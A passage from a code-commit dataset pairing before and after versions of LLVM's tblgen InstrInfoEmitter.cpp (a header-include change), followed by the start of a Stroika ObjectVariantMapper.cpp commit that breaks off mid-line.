Emit all of the instruction's implicit uses and defs.\n for (CodeGenTarget::inst_iterator II = Target.inst_begin(),\n E = Target.inst_end(); II != E; ++II) {\n Record *Inst = II->second.TheDef;\n std::vector<Record*> Uses = Inst->getValueAsListOfDefs(\"Uses\");\n if (!Uses.empty()) {\n unsigned &IL = EmittedLists[Uses];\n if (!IL) printDefList(Uses, IL = ++ListNumber, OS);\n }\n std::vector<Record*> Defs = Inst->getValueAsListOfDefs(\"Defs\");\n if (!Defs.empty()) {\n unsigned &IL = EmittedLists[Defs];\n if (!IL) printDefList(Defs, IL = ++ListNumber, OS);\n }\n }\n\n std::map<std::vector<std::string>, unsigned> OperandInfosEmitted;\n unsigned OperandListNum = 0;\n OperandInfosEmitted[std::vector<std::string>()] = ++OperandListNum;\n \n \/\/ Emit all of the operand info records.\n OS << \"\\n\";\n for (CodeGenTarget::inst_iterator II = Target.inst_begin(),\n E = Target.inst_end(); II != E; ++II) {\n std::vector<std::string> OperandInfo = GetOperandInfo(II->second);\n unsigned &N = OperandInfosEmitted[OperandInfo];\n if (N == 0) {\n N = ++OperandListNum;\n OS << \"static const TargetOperandInfo OperandInfo\" << N << \"[] = { \";\n for (unsigned i = 0, e = OperandInfo.size(); i != e; ++i)\n OS << \"{ \" << OperandInfo[i] << \" }, \";\n OS << \"};\\n\";\n }\n }\n \n \/\/ Emit all of the TargetInstrDescriptor records in their ENUM ordering.\n \/\/\n OS << \"\\nstatic const TargetInstrDescriptor \" << TargetName\n << \"Insts[] = {\\n\";\n std::vector<const CodeGenInstruction*> NumberedInstructions;\n Target.getInstructionsByEnumValue(NumberedInstructions);\n\n for (unsigned i = 0, e = NumberedInstructions.size(); i != e; ++i)\n emitRecord(*NumberedInstructions[i], i, InstrInfo, EmittedLists,\n OperandInfosEmitted, OS);\n OS << \"};\\n\";\n OS << \"} \/\/ End llvm namespace \\n\";\n}\n\nvoid InstrInfoEmitter::emitRecord(const CodeGenInstruction &Inst, unsigned Num,\n Record *InstrInfo,\n std::map<std::vector<Record*>, unsigned> &EmittedLists,\n std::map<std::vector<std::string>, unsigned> &OpInfo,\n std::ostream &OS) {\n int MinOperands;\n if (!Inst.OperandList.empty())\n \/\/ Each logical operand can be multiple MI operands.\n MinOperands = Inst.OperandList.back().MIOperandNo +\n Inst.OperandList.back().MINumOperands;\n else\n MinOperands = 0;\n \n OS << \" { \";\n OS << Num << \",\\t\" << MinOperands << \",\\t\"\n << Inst.NumDefs << \",\\t\\\"\";\n\n if (Inst.Name.empty())\n OS << Inst.TheDef->getName();\n else\n OS << Inst.Name;\n \n unsigned ItinClass = !IsItineraries ? 0 :\n ItinClassNumber(Inst.TheDef->getValueAsDef(\"Itinerary\")->getName());\n \n OS << \"\\\",\\t\" << ItinClass << \", 0\";\n\n \/\/ Try to determine (from the pattern), if the instruction is a store.\n bool isStore = false;\n if (dynamic_cast<ListInit*>(Inst.TheDef->getValueInit(\"Pattern\"))) {\n ListInit *LI = Inst.TheDef->getValueAsListInit(\"Pattern\");\n if (LI && LI->getSize() > 0) {\n DagInit *Dag = (DagInit *)LI->getElement(0);\n DefInit *OpDef = dynamic_cast<DefInit*>(Dag->getOperator());\n if (OpDef) {\n Record *Operator = OpDef->getDef();\n if (Operator->isSubClassOf(\"SDNode\")) {\n const std::string Opcode = Operator->getValueAsString(\"Opcode\");\n if (Opcode == \"ISD::STORE\" || Opcode == \"ISD::TRUNCSTORE\")\n isStore = true;\n }\n }\n }\n }\n\n \/\/ Emit all of the target indepedent flags...\n if (Inst.isReturn) OS << \"|M_RET_FLAG\";\n if (Inst.isBranch) OS << \"|M_BRANCH_FLAG\";\n if (Inst.isIndirectBranch) OS << \"|M_INDIRECT_FLAG\";\n if (Inst.isBarrier) OS << \"|M_BARRIER_FLAG\";\n if (Inst.hasDelaySlot) OS << \"|M_DELAY_SLOT_FLAG\";\n if (Inst.isCall) OS << \"|M_CALL_FLAG\";\n if (Inst.isLoad) OS << \"|M_LOAD_FLAG\";\n if (Inst.isStore || isStore) OS << \"|M_STORE_FLAG\";\n if (Inst.isImplicitDef)OS << \"|M_IMPLICIT_DEF_FLAG\";\n if (Inst.isPredicable) OS << \"|M_PREDICABLE\";\n if (Inst.isConvertibleToThreeAddress) OS << \"|M_CONVERTIBLE_TO_3_ADDR\";\n if (Inst.isCommutable) OS << \"|M_COMMUTABLE\";\n if (Inst.isTerminator) OS << \"|M_TERMINATOR_FLAG\";\n if (Inst.isReMaterializable) OS << \"|M_REMATERIALIZIBLE\";\n if (Inst.isNotDuplicable) OS << \"|M_NOT_DUPLICABLE\";\n if (Inst.hasOptionalDef) OS << \"|M_HAS_OPTIONAL_DEF\";\n if (Inst.usesCustomDAGSchedInserter)\n OS << \"|M_USES_CUSTOM_DAG_SCHED_INSERTION\";\n if (Inst.hasVariableNumberOfOperands) OS << \"|M_VARIABLE_OPS\";\n if (Inst.mayHaveSideEffects) OS << \"|M_MAY_HAVE_SIDE_EFFECTS\";\n if (Inst.neverHasSideEffects) OS << \"|M_NEVER_HAS_SIDE_EFFECTS\";\n OS << \", 0\";\n\n \/\/ Emit all of the target-specific flags...\n ListInit *LI = InstrInfo->getValueAsListInit(\"TSFlagsFields\");\n ListInit *Shift = InstrInfo->getValueAsListInit(\"TSFlagsShifts\");\n if (LI->getSize() != Shift->getSize())\n throw \"Lengths of \" + InstrInfo->getName() +\n \":(TargetInfoFields, TargetInfoPositions) must be equal!\";\n\n for (unsigned i = 0, e = LI->getSize(); i != e; ++i)\n emitShiftedValue(Inst.TheDef, dynamic_cast<StringInit*>(LI->getElement(i)),\n dynamic_cast<IntInit*>(Shift->getElement(i)), OS);\n\n OS << \", \";\n\n \/\/ Emit the implicit uses and defs lists...\n std::vector<Record*> UseList = Inst.TheDef->getValueAsListOfDefs(\"Uses\");\n if (UseList.empty())\n OS << \"NULL, \";\n else\n OS << \"ImplicitList\" << EmittedLists[UseList] << \", \";\n\n std::vector<Record*> DefList = Inst.TheDef->getValueAsListOfDefs(\"Defs\");\n if (DefList.empty())\n OS << \"NULL, \";\n else\n OS << \"ImplicitList\" << EmittedLists[DefList] << \", \";\n\n \/\/ Emit the operand info.\n std::vector<std::string> OperandInfo = GetOperandInfo(Inst);\n if (OperandInfo.empty())\n OS << \"0\";\n else\n OS << \"OperandInfo\" << OpInfo[OperandInfo];\n \n OS << \" }, \/\/ Inst #\" << Num << \" = \" << Inst.TheDef->getName() << \"\\n\";\n}\n\nstruct LessRecord {\n bool operator()(const Record *Rec1, const Record *Rec2) const {\n return Rec1->getName() < Rec2->getName();\n }\n};\nvoid InstrInfoEmitter::GatherItinClasses() {\n std::vector<Record*> DefList =\n Records.getAllDerivedDefinitions(\"InstrItinClass\");\n IsItineraries = !DefList.empty();\n \n if (!IsItineraries) return;\n \n std::sort(DefList.begin(), DefList.end(), LessRecord());\n\n for (unsigned i = 0, N = DefList.size(); i < N; i++) {\n Record *Def = DefList[i];\n ItinClassMap[Def->getName()] = i;\n }\n} \n \nunsigned InstrInfoEmitter::ItinClassNumber(std::string ItinName) {\n return ItinClassMap[ItinName];\n}\n\nvoid InstrInfoEmitter::emitShiftedValue(Record *R, StringInit *Val,\n IntInit *ShiftInt, std::ostream &OS) {\n if (Val == 0 || ShiftInt == 0)\n throw std::string(\"Illegal value or shift amount in TargetInfo*!\");\n RecordVal *RV = R->getValue(Val->getValue());\n int Shift = ShiftInt->getValue();\n\n if (RV == 0 || RV->getValue() == 0) {\n \/\/ This isn't an error if this is a builtin instruction.\n if (R->getName() != \"PHI\" &&\n R->getName() != \"INLINEASM\" &&\n R->getName() != \"LABEL\" &&\n R->getName() != \"EXTRACT_SUBREG\" &&\n R->getName() != \"INSERT_SUBREG\")\n throw R->getName() + \" doesn't have a field named '\" + \n Val->getValue() + \"'!\";\n return;\n }\n\n Init *Value = RV->getValue();\n if (BitInit *BI = dynamic_cast<BitInit*>(Value)) {\n if (BI->getValue()) OS << \"|(1<<\" << Shift << \")\";\n return;\n } else if (BitsInit *BI = dynamic_cast<BitsInit*>(Value)) {\n \/\/ Convert the Bits to an integer to print...\n Init *I = BI->convertInitializerTo(new IntRecTy());\n if (I)\n if (IntInit *II = dynamic_cast<IntInit*>(I)) {\n if (II->getValue()) {\n if (Shift)\n OS << \"|(\" << II->getValue() << \"<<\" << Shift << \")\";\n else\n OS << \"|\" << II->getValue();\n }\n return;\n }\n\n } else if (IntInit *II = dynamic_cast<IntInit*>(Value)) {\n if (II->getValue()) {\n if (Shift)\n OS << \"|(\" << II->getValue() << \"<<\" << Shift << \")\";\n else\n OS << II->getValue();\n }\n return;\n }\n\n cerr << \"Unhandled initializer: \" << *Val << \"\\n\";\n throw \"In record '\" + R->getName() + \"' for TSFlag emission.\";\n}\n\n<commit_msg>tblgen shouldn't include headers from llvm codegen.<commit_after>\/\/===- InstrInfoEmitter.cpp - Generate a Instruction Set Desc. ------------===\/\/\n\/\/\n\/\/ The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This tablegen backend is responsible for emitting a description of the target\n\/\/ instruction set for the code generator.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"InstrInfoEmitter.h\"\n#include \"CodeGenTarget.h\"\n#include \"Record.h\"\n#include <algorithm>\n#include <iostream>\nusing namespace llvm;\n\n\/\/ runEnums - Print out enum values for all of the instructions.\nvoid InstrInfoEmitter::runEnums(std::ostream &OS) {\n EmitSourceFileHeader(\"Target Instruction Enum Values\", OS);\n OS << \"namespace llvm {\\n\\n\";\n\n CodeGenTarget Target;\n\n \/\/ We must emit the PHI opcode first...\n std::string Namespace;\n for (CodeGenTarget::inst_iterator II = Target.inst_begin(), \n E = Target.inst_end(); II != E; ++II) {\n if (II->second.Namespace != \"TargetInstrInfo\") {\n Namespace = II->second.Namespace;\n break;\n }\n }\n \n if (Namespace.empty()) {\n std::cerr << \"No instructions defined!\\n\";\n exit(1);\n }\n\n std::vector<const CodeGenInstruction*> NumberedInstructions;\n Target.getInstructionsByEnumValue(NumberedInstructions);\n\n OS << \"namespace \" << Namespace << \" {\\n\";\n OS << \" enum {\\n\";\n for (unsigned i = 0, e = NumberedInstructions.size(); i != e; ++i) {\n OS << \" \" << NumberedInstructions[i]->TheDef->getName()\n << \"\\t= \" << i << \",\\n\";\n }\n OS << \" INSTRUCTION_LIST_END = \" << NumberedInstructions.size() << \"\\n\";\n OS << \" };\\n}\\n\";\n OS << \"} \/\/ End llvm namespace \\n\";\n}\n\nvoid InstrInfoEmitter::printDefList(const std::vector<Record*> &Uses,\n unsigned Num, std::ostream &OS) const {\n OS << \"static const unsigned ImplicitList\" << Num << \"[] = { \";\n for (unsigned i = 0, e = Uses.size(); i != e; ++i)\n OS << getQualifiedName(Uses[i]) << \", \";\n OS << \"0 };\\n\";\n}\n\nstd::vector<std::string>\nInstrInfoEmitter::GetOperandInfo(const CodeGenInstruction &Inst) {\n std::vector<std::string> Result;\n \n for (unsigned i = 0, e = Inst.OperandList.size(); i != e; ++i) {\n \/\/ Handle aggregate operands and normal operands the same way by expanding\n \/\/ either case into a list of operands for this op.\n std::vector<CodeGenInstruction::OperandInfo> OperandList;\n\n \/\/ This might be a multiple operand thing. Targets like X86 have\n \/\/ registers in their multi-operand operands. It may also be an anonymous\n \/\/ operand, which has a single operand, but no declared class for the\n \/\/ operand.\n DagInit *MIOI = Inst.OperandList[i].MIOperandInfo;\n \n if (!MIOI || MIOI->getNumArgs() == 0) {\n \/\/ Single, anonymous, operand.\n OperandList.push_back(Inst.OperandList[i]);\n } else {\n for (unsigned j = 0, e = Inst.OperandList[i].MINumOperands; j != e; ++j) {\n OperandList.push_back(Inst.OperandList[i]);\n\n Record *OpR = dynamic_cast<DefInit*>(MIOI->getArg(j))->getDef();\n OperandList.back().Rec = OpR;\n }\n }\n\n for (unsigned j = 0, e = OperandList.size(); j != e; ++j) {\n Record *OpR = OperandList[j].Rec;\n std::string Res;\n \n if (OpR->isSubClassOf(\"RegisterClass\"))\n Res += getQualifiedName(OpR) + \"RegClassID, \";\n else\n Res += \"0, \";\n \/\/ Fill in applicable flags.\n Res += \"0\";\n \n \/\/ Ptr value whose register class is resolved via callback.\n if (OpR->getName() == \"ptr_rc\")\n Res += \"|M_LOOK_UP_PTR_REG_CLASS\";\n\n \/\/ Predicate operands. Check to see if the original unexpanded operand\n \/\/ was of type PredicateOperand.\n if (Inst.OperandList[i].Rec->isSubClassOf(\"PredicateOperand\"))\n Res += \"|M_PREDICATE_OPERAND\";\n \n \/\/ Optional def operands. Check to see if the original unexpanded operand\n \/\/ was of type OptionalDefOperand.\n if (Inst.OperandList[i].Rec->isSubClassOf(\"OptionalDefOperand\"))\n Res += \"|M_OPTIONAL_DEF_OPERAND\";\n\n \/\/ Fill in constraint info.\n Res += \", \" + Inst.OperandList[i].Constraints[j];\n Result.push_back(Res);\n }\n }\n\n return Result;\n}\n\n\n\/\/ run - Emit the main instruction description records for the target...\nvoid InstrInfoEmitter::run(std::ostream &OS) {\n GatherItinClasses();\n\n EmitSourceFileHeader(\"Target Instruction Descriptors\", OS);\n OS << \"namespace llvm {\\n\\n\";\n\n CodeGenTarget Target;\n const std::string &TargetName = Target.getName();\n Record *InstrInfo = Target.getInstructionSet();\n\n \/\/ Keep track of all of the def lists we have emitted already.\n std::map<std::vector<Record*>, unsigned> EmittedLists;\n unsigned ListNumber = 0;\n \n \/\/ Emit all of the instruction's implicit uses and defs.\n for (CodeGenTarget::inst_iterator II = Target.inst_begin(),\n E = Target.inst_end(); II != E; ++II) {\n Record *Inst = II->second.TheDef;\n std::vector<Record*> Uses = Inst->getValueAsListOfDefs(\"Uses\");\n if (!Uses.empty()) {\n unsigned &IL = EmittedLists[Uses];\n if (!IL) printDefList(Uses, IL = ++ListNumber, OS);\n }\n std::vector<Record*> Defs = Inst->getValueAsListOfDefs(\"Defs\");\n if (!Defs.empty()) {\n unsigned &IL = EmittedLists[Defs];\n if (!IL) printDefList(Defs, IL = ++ListNumber, OS);\n }\n }\n\n std::map<std::vector<std::string>, unsigned> OperandInfosEmitted;\n unsigned OperandListNum = 0;\n OperandInfosEmitted[std::vector<std::string>()] = ++OperandListNum;\n \n \/\/ Emit all of the operand info records.\n OS << \"\\n\";\n for (CodeGenTarget::inst_iterator II = Target.inst_begin(),\n E = Target.inst_end(); II != E; ++II) {\n std::vector<std::string> OperandInfo = GetOperandInfo(II->second);\n unsigned &N = OperandInfosEmitted[OperandInfo];\n if (N == 0) {\n N = ++OperandListNum;\n OS << \"static const TargetOperandInfo OperandInfo\" << N << \"[] = { \";\n for (unsigned i = 0, e = OperandInfo.size(); i != e; ++i)\n OS << \"{ \" << OperandInfo[i] << \" }, \";\n OS << \"};\\n\";\n }\n }\n \n \/\/ Emit all of the TargetInstrDescriptor records in their ENUM ordering.\n \/\/\n OS << \"\\nstatic const TargetInstrDescriptor \" << TargetName\n << \"Insts[] = {\\n\";\n std::vector<const CodeGenInstruction*> NumberedInstructions;\n Target.getInstructionsByEnumValue(NumberedInstructions);\n\n for (unsigned i = 0, e = NumberedInstructions.size(); i != e; ++i)\n emitRecord(*NumberedInstructions[i], i, InstrInfo, EmittedLists,\n OperandInfosEmitted, OS);\n OS << \"};\\n\";\n OS << \"} \/\/ End llvm namespace \\n\";\n}\n\nvoid InstrInfoEmitter::emitRecord(const CodeGenInstruction &Inst, unsigned Num,\n Record *InstrInfo,\n std::map<std::vector<Record*>, unsigned> &EmittedLists,\n std::map<std::vector<std::string>, unsigned> &OpInfo,\n std::ostream &OS) {\n int MinOperands;\n if (!Inst.OperandList.empty())\n \/\/ Each logical operand can be multiple MI operands.\n MinOperands = Inst.OperandList.back().MIOperandNo +\n Inst.OperandList.back().MINumOperands;\n else\n MinOperands = 0;\n \n OS << \" { \";\n OS << Num << \",\\t\" << MinOperands << \",\\t\"\n << Inst.NumDefs << \",\\t\\\"\";\n\n if (Inst.Name.empty())\n OS << Inst.TheDef->getName();\n else\n OS << Inst.Name;\n \n unsigned ItinClass = !IsItineraries ? 0 :\n ItinClassNumber(Inst.TheDef->getValueAsDef(\"Itinerary\")->getName());\n \n OS << \"\\\",\\t\" << ItinClass << \", 0\";\n\n \/\/ Try to determine (from the pattern), if the instruction is a store.\n bool isStore = false;\n if (dynamic_cast<ListInit*>(Inst.TheDef->getValueInit(\"Pattern\"))) {\n ListInit *LI = Inst.TheDef->getValueAsListInit(\"Pattern\");\n if (LI && LI->getSize() > 0) {\n DagInit *Dag = (DagInit *)LI->getElement(0);\n DefInit *OpDef = dynamic_cast<DefInit*>(Dag->getOperator());\n if (OpDef) {\n Record *Operator = OpDef->getDef();\n if (Operator->isSubClassOf(\"SDNode\")) {\n const std::string Opcode = Operator->getValueAsString(\"Opcode\");\n if (Opcode == \"ISD::STORE\" || Opcode == \"ISD::TRUNCSTORE\")\n isStore = true;\n }\n }\n }\n }\n\n \/\/ Emit all of the target indepedent flags...\n if (Inst.isReturn) OS << \"|M_RET_FLAG\";\n if (Inst.isBranch) OS << \"|M_BRANCH_FLAG\";\n if (Inst.isIndirectBranch) OS << \"|M_INDIRECT_FLAG\";\n if (Inst.isBarrier) OS << \"|M_BARRIER_FLAG\";\n if (Inst.hasDelaySlot) OS << \"|M_DELAY_SLOT_FLAG\";\n if (Inst.isCall) OS << \"|M_CALL_FLAG\";\n if (Inst.isLoad) OS << \"|M_LOAD_FLAG\";\n if (Inst.isStore || isStore) OS << \"|M_STORE_FLAG\";\n if (Inst.isImplicitDef)OS << \"|M_IMPLICIT_DEF_FLAG\";\n if (Inst.isPredicable) OS << \"|M_PREDICABLE\";\n if (Inst.isConvertibleToThreeAddress) OS << \"|M_CONVERTIBLE_TO_3_ADDR\";\n if (Inst.isCommutable) OS << \"|M_COMMUTABLE\";\n if (Inst.isTerminator) OS << \"|M_TERMINATOR_FLAG\";\n if (Inst.isReMaterializable) OS << \"|M_REMATERIALIZIBLE\";\n if (Inst.isNotDuplicable) OS << \"|M_NOT_DUPLICABLE\";\n if (Inst.hasOptionalDef) OS << \"|M_HAS_OPTIONAL_DEF\";\n if (Inst.usesCustomDAGSchedInserter)\n OS << \"|M_USES_CUSTOM_DAG_SCHED_INSERTION\";\n if (Inst.hasVariableNumberOfOperands) OS << \"|M_VARIABLE_OPS\";\n if (Inst.mayHaveSideEffects) OS << \"|M_MAY_HAVE_SIDE_EFFECTS\";\n if (Inst.neverHasSideEffects) OS << \"|M_NEVER_HAS_SIDE_EFFECTS\";\n OS << \", 0\";\n\n \/\/ Emit all of the target-specific flags...\n ListInit *LI = InstrInfo->getValueAsListInit(\"TSFlagsFields\");\n ListInit *Shift = InstrInfo->getValueAsListInit(\"TSFlagsShifts\");\n if (LI->getSize() != Shift->getSize())\n throw \"Lengths of \" + InstrInfo->getName() +\n \":(TargetInfoFields, TargetInfoPositions) must be equal!\";\n\n for (unsigned i = 0, e = LI->getSize(); i != e; ++i)\n emitShiftedValue(Inst.TheDef, dynamic_cast<StringInit*>(LI->getElement(i)),\n dynamic_cast<IntInit*>(Shift->getElement(i)), OS);\n\n OS << \", \";\n\n \/\/ Emit the implicit uses and defs lists...\n std::vector<Record*> UseList = Inst.TheDef->getValueAsListOfDefs(\"Uses\");\n if (UseList.empty())\n OS << \"NULL, \";\n else\n OS << \"ImplicitList\" << EmittedLists[UseList] << \", \";\n\n std::vector<Record*> DefList = Inst.TheDef->getValueAsListOfDefs(\"Defs\");\n if (DefList.empty())\n OS << \"NULL, \";\n else\n OS << \"ImplicitList\" << EmittedLists[DefList] << \", \";\n\n \/\/ Emit the operand info.\n std::vector<std::string> OperandInfo = GetOperandInfo(Inst);\n if (OperandInfo.empty())\n OS << \"0\";\n else\n OS << \"OperandInfo\" << OpInfo[OperandInfo];\n \n OS << \" }, \/\/ Inst #\" << Num << \" = \" << Inst.TheDef->getName() << \"\\n\";\n}\n\nstruct LessRecord {\n bool operator()(const Record *Rec1, const Record *Rec2) const {\n return Rec1->getName() < Rec2->getName();\n }\n};\nvoid InstrInfoEmitter::GatherItinClasses() {\n std::vector<Record*> DefList =\n Records.getAllDerivedDefinitions(\"InstrItinClass\");\n IsItineraries = !DefList.empty();\n \n if (!IsItineraries) return;\n \n std::sort(DefList.begin(), DefList.end(), LessRecord());\n\n for (unsigned i = 0, N = DefList.size(); i < N; i++) {\n Record *Def = DefList[i];\n ItinClassMap[Def->getName()] = i;\n }\n} \n \nunsigned InstrInfoEmitter::ItinClassNumber(std::string ItinName) {\n return ItinClassMap[ItinName];\n}\n\nvoid InstrInfoEmitter::emitShiftedValue(Record *R, StringInit *Val,\n IntInit *ShiftInt, std::ostream &OS) {\n if (Val == 0 || ShiftInt == 0)\n throw std::string(\"Illegal value or shift amount in TargetInfo*!\");\n RecordVal *RV = R->getValue(Val->getValue());\n int Shift = ShiftInt->getValue();\n\n if (RV == 0 || RV->getValue() == 0) {\n \/\/ This isn't an error if this is a builtin instruction.\n if (R->getName() != \"PHI\" &&\n R->getName() != \"INLINEASM\" &&\n R->getName() != \"LABEL\" &&\n R->getName() != \"EXTRACT_SUBREG\" &&\n R->getName() != \"INSERT_SUBREG\")\n throw R->getName() + \" doesn't have a field named '\" + \n Val->getValue() + \"'!\";\n return;\n }\n\n Init *Value = RV->getValue();\n if (BitInit *BI = dynamic_cast<BitInit*>(Value)) {\n if (BI->getValue()) OS << \"|(1<<\" << Shift << \")\";\n return;\n } else if (BitsInit *BI = dynamic_cast<BitsInit*>(Value)) {\n \/\/ Convert the Bits to an integer to print...\n Init *I = BI->convertInitializerTo(new IntRecTy());\n if (I)\n if (IntInit *II = dynamic_cast<IntInit*>(I)) {\n if (II->getValue()) {\n if (Shift)\n OS << \"|(\" << II->getValue() << \"<<\" << Shift << \")\";\n else\n OS << \"|\" << II->getValue();\n }\n return;\n }\n\n } else if (IntInit *II = dynamic_cast<IntInit*>(Value)) {\n if (II->getValue()) {\n if (Shift)\n OS << \"|(\" << II->getValue() << \"<<\" << Shift << \")\";\n else\n OS << II->getValue();\n }\n return;\n }\n\n std::cerr << \"Unhandled initializer: \" << *Val << \"\\n\";\n throw \"In record '\" + R->getName() + \"' for TSFlag emission.\";\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright(c) Sophist Solutions, Inc. 1990-2013. All rights reserved\n *\/\n#include \"..\/StroikaPreComp.h\"\n\n#include \"..\/Characters\/Format.h\"\n#include \"..\/Time\/Date.h\"\n#include \"..\/Time\/DateTime.h\"\n\n#include \"ObjectVariantMapper.h\"\n\n\nusing namespace Stroika::Foundation;\nusing namespace Stroika::Foundation::DataExchangeFormat;\n\nusing Time::Date;\nusing Time::DateTime;\n\n\n\n\/*\n ********************************************************************************\n ******* DataExchangeFormat::ObjectVariantMapper::TypeMappingDetails ************\n ********************************************************************************\n *\/\nObjectVariantMapper::TypeMappingDetails::TypeMappingDetails (\n const type_index& forTypeInfo,\n const std::function<VariantValue(ObjectVariantMapper* mapper, const Byte* objOfType)>& toVariantMapper,\n const std::function<void(ObjectVariantMapper* mapper, const VariantValue& d, Byte* into)>& fromVariantMapper\n)\n : fForType (forTypeInfo)\n , fToVariantMapper (toVariantMapper)\n , fFromVariantMapper (fromVariantMapper)\n{\n}\n\n\n\/*\n ********************************************************************************\n ****************** DataExchangeFormat::ObjectVariantMapper *********************\n ********************************************************************************\n *\/\nObjectVariantMapper::ObjectVariantMapper ()\n{\n RegisterCommonSerializers ();\n}\n\nvoid ObjectVariantMapper::RegisterSerializer (const TypeMappingDetails& serializerInfo)\n{\n fSerializers_.Add (serializerInfo);\n}\n\nvoid ObjectVariantMapper::ClearRegistry ()\n{\n fSerializers_.clear ();\n}\n\nvoid ObjectVariantMapper::ResetToDefaultRegistry ()\n{\n ClearRegistry ();\n RegisterCommonSerializers ();\n}\n\nnamespace {\n template <typename T, typename UseVariantType>\n ObjectVariantMapper::TypeMappingDetails mkSerializerInfo_ ()\n {\n auto toVariantMapper = [] (ObjectVariantMapper * mapper, const Byte * objOfType) -> VariantValue {\n return VariantValue (static_cast<UseVariantType> (*reinterpret_cast<const T*> (objOfType)));\n };\n auto fromVariantMapper = [] (ObjectVariantMapper * mapper, const VariantValue & d, Byte * into) -> void {\n *reinterpret_cast<T*> (into) = static_cast<T> (d.As<UseVariantType> ());\n };\n return ObjectVariantMapper::TypeMappingDetails (typeid (T), toVariantMapper, fromVariantMapper);\n }\n}\n\nvoid ObjectVariantMapper::RegisterCommonSerializers ()\n{\n RegisterSerializer (mkSerializerInfo_<bool, bool> ());\n RegisterSerializer (mkSerializerInfo_<int, int> ());\n RegisterSerializer (mkSerializerInfo_<float, VariantValue::FloatType> ());\n RegisterSerializer (mkSerializerInfo_<double, VariantValue::FloatType> ());\n RegisterSerializer (mkSerializerInfo_<Date, Date> ());\n RegisterSerializer (mkSerializerInfo_<DateTime, DateTime> ());\n \/\/\/ TODO - ARRAY??? Maybe using Sequence???\n RegisterSerializer (mkSerializerInfo_<String, String> ());\n}\n\nVariantValue ObjectVariantMapper::Serialize (const type_index& forTypeInfo, const Byte* objOfType)\n{\n Require (Lookup_ (forTypeInfo).fToVariantMapper);\n return Lookup_ (forTypeInfo).fToVariantMapper (this, objOfType);\n}\n\nvoid ObjectVariantMapper::Deserialize (const type_index& forTypeInfo, const VariantValue& d, Byte* into)\n{\n Require (Lookup_ (forTypeInfo).fFromVariantMapper);\n Lookup_ (forTypeInfo).fFromVariantMapper (this, d, into);\n}\n\nObjectVariantMapper::TypeMappingDetails ObjectVariantMapper::mkSerializerForStruct (const type_index& forTypeInfo, size_t n, const Sequence<StructureFieldInfo>& fields)\n{\n#if qDebug\n for (auto i : fields) {\n Require (i.fOffset < n);\n }\n#endif\n\n \/\/ foo magic (could do cleaner?) to assure lifetime for whats captured in lambda\n struct foo {\n Sequence<StructureFieldInfo> fields;\n };\n shared_ptr<foo> fooptr (new foo ());\n fooptr->fields = fields;\n auto toVariantMapper = [fooptr] (ObjectVariantMapper * mapper, const Byte * objOfType) -> VariantValue {\n Mapping<String, VariantValue> m;\n for (auto i : fooptr->fields) {\n const Byte* fieldObj = objOfType + i.fOffset;\n m.Add (i.fSerializedFieldName, mapper->Serialize (i.fTypeInfo, objOfType + i.fOffset));\n }\n return VariantValue (m);\n };\n auto fromVariantMapper = [fooptr] (ObjectVariantMapper * mapper, const VariantValue & d, Byte * into) -> void {\n Mapping<String, VariantValue> m = d.As<Mapping<String, VariantValue>> ();\n for (auto i : fooptr->fields) {\n Memory::Optional<VariantValue> o = m.Lookup (i.fSerializedFieldName);\n if (not o.empty ()) {\n mapper->Deserialize (i.fTypeInfo, *o, into + i.fOffset);\n }\n }\n };\n return TypeMappingDetails (forTypeInfo, toVariantMapper, fromVariantMapper);\n}\n\nObjectVariantMapper::TypeMappingDetails ObjectVariantMapper::Lookup_ (const type_index& forTypeInfo) const\n{\n TypeMappingDetails foo (forTypeInfo, nullptr, nullptr);\n auto i = fSerializers_.Lookup (foo);\n Require (i.IsPresent ()); \/\/ if not present, this is a usage error - only use types which are registered\n return *i;\n}\n<commit_msg>Assertions in ObjectVariantMapper::mkSerializerForStr ()<commit_after>\/*\n * Copyright(c) Sophist Solutions, Inc. 1990-2013. All rights reserved\n *\/\n#include \"..\/StroikaPreComp.h\"\n\n#include \"..\/Characters\/Format.h\"\n#include \"..\/Containers\/Tally.h\"\n#include \"..\/Time\/Date.h\"\n#include \"..\/Time\/DateTime.h\"\n\n#include \"ObjectVariantMapper.h\"\n\n\nusing namespace Stroika::Foundation;\nusing namespace Stroika::Foundation::DataExchangeFormat;\n\nusing Time::Date;\nusing Time::DateTime;\n\n\n\n\/*\n ********************************************************************************\n ******* DataExchangeFormat::ObjectVariantMapper::TypeMappingDetails ************\n ********************************************************************************\n *\/\nObjectVariantMapper::TypeMappingDetails::TypeMappingDetails (\n const type_index& forTypeInfo,\n const std::function<VariantValue(ObjectVariantMapper* mapper, const Byte* objOfType)>& toVariantMapper,\n const std::function<void(ObjectVariantMapper* mapper, const VariantValue& d, Byte* into)>& fromVariantMapper\n)\n : fForType (forTypeInfo)\n , fToVariantMapper (toVariantMapper)\n , fFromVariantMapper (fromVariantMapper)\n{\n}\n\n\n\/*\n ********************************************************************************\n ****************** DataExchangeFormat::ObjectVariantMapper *********************\n ********************************************************************************\n *\/\nObjectVariantMapper::ObjectVariantMapper ()\n{\n RegisterCommonSerializers ();\n}\n\nvoid ObjectVariantMapper::RegisterSerializer (const TypeMappingDetails& serializerInfo)\n{\n fSerializers_.Add (serializerInfo);\n}\n\nvoid ObjectVariantMapper::ClearRegistry ()\n{\n fSerializers_.clear ();\n}\n\nvoid ObjectVariantMapper::ResetToDefaultRegistry ()\n{\n ClearRegistry ();\n RegisterCommonSerializers ();\n}\n\nnamespace {\n template <typename T, typename UseVariantType>\n ObjectVariantMapper::TypeMappingDetails mkSerializerInfo_ ()\n {\n auto toVariantMapper = [] (ObjectVariantMapper * mapper, const Byte * objOfType) -> VariantValue {\n return VariantValue (static_cast<UseVariantType> (*reinterpret_cast<const T*> (objOfType)));\n };\n auto fromVariantMapper = [] (ObjectVariantMapper * mapper, const VariantValue & d, Byte * into) -> void {\n *reinterpret_cast<T*> (into) = static_cast<T> (d.As<UseVariantType> ());\n };\n return ObjectVariantMapper::TypeMappingDetails (typeid (T), toVariantMapper, fromVariantMapper);\n }\n}\n\nvoid ObjectVariantMapper::RegisterCommonSerializers ()\n{\n RegisterSerializer (mkSerializerInfo_<bool, bool> ());\n RegisterSerializer (mkSerializerInfo_<int, int> ());\n RegisterSerializer (mkSerializerInfo_<float, VariantValue::FloatType> ());\n RegisterSerializer 